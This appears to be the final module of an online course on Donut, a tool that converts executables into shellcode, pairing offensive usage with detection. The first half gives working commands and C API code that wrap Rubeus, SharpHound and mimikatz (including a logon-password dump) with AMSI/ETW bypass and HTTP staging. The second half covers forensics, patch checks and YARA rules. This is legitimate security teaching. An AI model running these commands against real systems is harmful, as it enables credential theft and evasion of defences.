Module 8: Full Chain, Integration & Detection
Putting it all together: command-line usage, C API integration, detection vectors, YARA rules, and memory forensics for Donut payloads.
Module Objective
Learn Donut’s complete command-line interface and C API for programmatic shellcode generation. Understand the detection landscape: what defenders look for, how to write YARA rules for Donut artifacts, memory forensics techniques for identifying Donut loaders, and the limitations of current bypasses.
1. Command-Line Usage
Donut’s command-line interface provides full access to all generation options:
Shell# Basic: Convert a .NET EXE to shellcode
donut -f Rubeus.exe
# .NET EXE with arguments
donut -f Seatbelt.exe -p "-group=all"
# .NET DLL with class, method, and arguments
donut -f SharpHound.dll -c SharpHound.Program -m Main -p "--CollectionMethods All"
# Native DLL: call specific export with arguments
donut -f payload.dll -m RunPayload -p "config_string"
# Native EXE with arguments
donut -f mimikatz.exe -p "privilege::debug sekurlsa::logonpasswords exit"
# VBScript payload
donut -f payload.vbs
# Full options: x64, AMSI/ETW bypass, aPLib compression, exit thread
donut -f Rubeus.exe -a 2 -b 3 -z 1 -e 1 -p "kerberoast"
# HTTP staging: host module on remote server
donut -f Rubeus.exe -u http://10.0.0.1/module -p "kerberoast"
# Output as different formats
donut -f payload.exe -o payload.bin # Raw binary (default)
donut -f payload.exe -o payload.b64 -f 2 # Base64
donut -f payload.exe -o payload.c -f 3 # C array
donut -f payload.exe -o payload.rb -f 4 # Ruby
donut -f payload.exe -o payload.py -f 5 # Python
donut -f payload.exe -o payload.ps1 -f 6 # PowerShell
donut -f payload.exe -o payload.cs -f 7 # C#
donut -f payload.exe -o payload.hex -f 8 # Hex string
| Flag | Option | Values |
|---|---|---|
-f | Input file | Path to PE, .NET, VBS, JS, or XSL file |
-a | Architecture | 1 = x86, 2 = x64, 3 = x86+x64 (dual) |
-b | Bypass level | 1 = none, 2 = abort on fail, 3 = continue on fail |
-z | Compression | 1 = none, 2 = aPLib, 3 = LZNT1, 4 = Xpress, 5 = Xpress Huffman |
-e | Exit option | 1 = exit thread, 2 = exit process, 3 = don’t exit |
-o | Output file | Path for generated shellcode (default: loader.bin) |
-c | Class name | For .NET DLL: fully qualified class name |
-m | Method/Export | .NET: method name. DLL: export name |
-p | Parameters | Arguments passed to the payload |
-u | Staging URL | HTTP(S) URL for remote module hosting |
-t | New thread | 1 = run payload in a new thread |
2. C API Integration
Donut exposes a C API through donut.h for programmatic shellcode generation. This allows integration into custom tooling, C2 frameworks, and automated pipelines:
C#include "donut.h"
int main(void) {
DONUT_CONFIG config;
memset(&config, 0, sizeof(config));
// Configure the generation
config.arch = DONUT_ARCH_X64;
config.bypass = DONUT_BYPASS_CONTINUE;
config.compress = DONUT_COMPRESS_APLIB;
config.exit_opt = DONUT_OPT_EXIT_THREAD;
config.entropy = DONUT_ENTROPY_DEFAULT;
config.format = DONUT_FORMAT_BINARY;
strncpy(config.input, "Rubeus.exe", DONUT_MAX_NAME);
strncpy(config.param, "kerberoast", DONUT_MAX_NAME);
// Generate the shellcode
int err = DonutCreate(&config);
if (err != DONUT_ERROR_SUCCESS) {
printf("Error: %d\n", err);
return 1;
}
// config.pic = pointer to generated shellcode
// config.pic_len = size of shellcode in bytes
printf("Shellcode: %p (%d bytes)\n", config.pic, config.pic_len);
// Write to file, inject, or use as needed
FILE *f = fopen("loader.bin", "wb");
fwrite(config.pic, 1, config.pic_len, f);
fclose(f);
// Free the allocated shellcode
DonutDelete(&config);
return 0;
}
API Functions
| Function | Purpose |
|---|---|
DonutCreate(&config) | Generate shellcode based on the config. Returns error code. Populates config.pic and config.pic_len. |
DonutDelete(&config) | Free the allocated shellcode memory. Must be called after DonutCreate. |
3. Integration with C2 Frameworks
Donut is commonly integrated into C2 frameworks for in-memory payload execution. The typical integration pattern is:
C2 Integration Flow
Selects payload
Calls DonutCreate()
Sent to implant
Injects shellcode
In target process
Frameworks like Covenant, PoshC2, and Sliver have integrated or can use Donut for converting .NET tools to injectable shellcode. The operator selects a tool (e.g., Seatbelt), the C2 server generates shellcode via Donut, and the implant receives and injects it.
4. Detection Vector: CLR Loading Events
When Donut loads a .NET assembly, the CLR initialization generates detectable events:
| Event Source | What It Reveals | Detection Value |
|---|---|---|
| ETW: Microsoft-Windows-DotNETRuntime | Assembly load events with byte array source (no file path) | High — legitimate loads have file paths |
| ETW: Assembly/Loader keyword | CLR version, AppDomain creation, assembly name | Medium — new AppDomains in unexpected processes |
| Module load callbacks | clr.dll / mscorlib.dll loaded in unmanaged processes | High — CLR in notepad.exe is anomalous |
| Named pipes | CLR debugging pipes created during initialization | Low — only present with specific CLR versions |
CLR in Unmanaged Processes
The strongest detection signal for Donut .NET payloads is clr.dll being loaded into a process that normally does not host the CLR. If svchost.exe or notepad.exe suddenly loads the .NET runtime, this is highly suspicious. Defenders monitor for this via kernel callbacks (PsSetLoadImageNotifyRoutine) or ETW image load events.
5. Detection Vector: Memory Forensics
Even after encryption, Donut leaves forensic artifacts in memory that can be identified:
| Artifact | Location | Description |
|---|---|---|
| Unbacked executable memory | Process VAD tree | Private PAGE_EXECUTE_READ regions with no file backing — the loader code |
| PE headers in private memory | After PE loading | MZ/PE signatures in non-file-backed memory after the payload is mapped |
| Decrypted DONUT_INSTANCE | Adjacent to loader code | The instance structure with API pointers and configuration data |
| COM interface vtables | Stack/heap | References to CLR and scripting COM interfaces from the hosting code |
| AMSI patch artifacts | amsi.dll .text section | Modified bytes at the start of AmsiScanBuffer |
Python# Volatility3 plugin concept for detecting Donut artifacts
# Look for CLR in unexpected processes
def detect_donut_clr(self):
for proc in self.list_processes():
modules = self.get_loaded_modules(proc)
module_names = [m.BaseDllName.lower() for m in modules]
if 'clr.dll' in module_names:
# Check if this process normally hosts the CLR
proc_name = proc.ImageFileName.lower()
if proc_name not in KNOWN_CLR_HOSTS:
yield DetectionResult(
pid=proc.pid,
process=proc_name,
finding="CLR loaded in unexpected process",
severity="HIGH"
)
6. Detection Vector: AMSI/ETW Patching
Donut’s bypass stubs modify function prologues in loaded DLLs. Defenders can detect these patches:
C// Detection: Check if AmsiScanBuffer has been patched
BOOL IsAMSIPatched(void) {
HMODULE amsi = GetModuleHandleA("amsi.dll");
if (!amsi) return FALSE;
FARPROC scan = GetProcAddress(amsi, "AmsiScanBuffer");
if (!scan) return FALSE;
BYTE *code = (BYTE*)scan;
// Check for common patch patterns:
// xor eax, eax; ret (0x31, 0xC0, 0xC3)
if (code[0] == 0x31 && code[1] == 0xC0 && code[2] == 0xC3)
return TRUE;
// mov eax, 0x80070057; ret (E_INVALIDARG)
if (code[0] == 0xB8 && code[1] == 0x57 && code[2] == 0x00)
return TRUE;
// Check against the known clean prologue from the DLL on disk
// Compare first N bytes against the file-backed version
return FALSE;
}
Integrity Checking
EDR products periodically compare the in-memory contents of critical functions (like AmsiScanBuffer, EtwEventWrite) against the on-disk DLL. Any differences indicate runtime patching. Some EDRs also hook VirtualProtect and flag permission changes to .text sections of security-relevant DLLs.
7. YARA Rules for Donut
YARA rules can detect Donut artifacts at various stages. Note that because Donut encrypts the payload, YARA is most effective against the loader code itself or unencrypted (entropy=none) variants:
YARArule donut_loader_strings {
meta:
description = "Detects Donut loader artifacts"
author = "Defense Team"
strings:
// API hash resolution patterns
$hash_loop = { 0F B6 ?? 6A ?? 5? 0F AF ?? 03 }
// Chaskey ROTR32 round constant pattern (right rotations by 27, 24, 16, 19, 25)
$chaskey = { C1 C? 1B 33 C? C1 C? 18 }
// AMSI bypass patch bytes
$amsi_patch = { 31 C0 C3 }
// CLR hosting GUIDs (CLSID_CLRMetaHost)
$clr_guid = { 60 F1 19 92 33 44 CE 4A
BD E6 17 7B 31 85 C9 0B }
// ICorRuntimeHost IID
$cor_iid = { 02 C5 27 CB 83 97 B2 11
D3 8B 00 00 F8 08 34 2D }
condition:
2 of them
}
YARA Limitations
Because Donut generates unique shellcode with random keys on every run, signature-based detection of the encrypted payload is not feasible. YARA rules primarily target the loader code (which is relatively static between versions) or the GUIDs for COM interfaces (which are constants). Custom-compiled Donut variants can trivially evade these rules.
8. Defensive Recommendations
| Defense Layer | Technique | What It Catches |
|---|---|---|
| ETW Monitoring | Monitor .NET runtime and assembly load events | CLR loading in unexpected processes, fileless assembly loads |
| Module Load Callbacks | PsSetLoadImageNotifyRoutine for clr.dll | CLR initialization in anomalous processes |
| Memory Scanning | Periodic scan of private executable memory | PE headers in unbacked memory, loader code signatures |
| Integrity Monitoring | Verify AMSI/ETW function prologues against on-disk copies | Runtime patching of security functions |
| Behavioral Analysis | Monitor VirtualProtect on .text sections of amsi.dll/ntdll.dll | Bypass stub installation |
| Network Monitoring | Detect staging server connections | HTTP/DNS staging downloads |
| YARA/Sigma | Loader code patterns, COM GUID constants | Known Donut versions (limited by recompilation) |
9. The Complete Chain
Full Donut Execution Chain
donut -f payload
Inject / Stage
RIP-relative
Resolve APIs
Instance + Module
AMSI/ETW/WLDP
aPLib/LZNT1
PE/CLR/COM
Course Complete
You have completed the Donut PE-to-Shellcode Masterclass. You now understand the complete architecture from PE loading fundamentals through CLR hosting, Chaskey encryption, PIC loader internals, and the full detection landscape. Use this knowledge to build better offensive tools and stronger defensive detections.
Knowledge Check
1. What is the strongest detection signal for Donut .NET payloads?
2. Which Donut API function generates shellcode from a DONUT_CONFIG structure?
DonutCreate(&config) is the main API function. It takes a populated DONUT_CONFIG structure, generates the shellcode, and stores the result in config.pic (pointer) and config.pic_len (size). DonutDelete(&config) frees the allocated memory.3. Why are YARA signatures limited in effectiveness against Donut shellcode?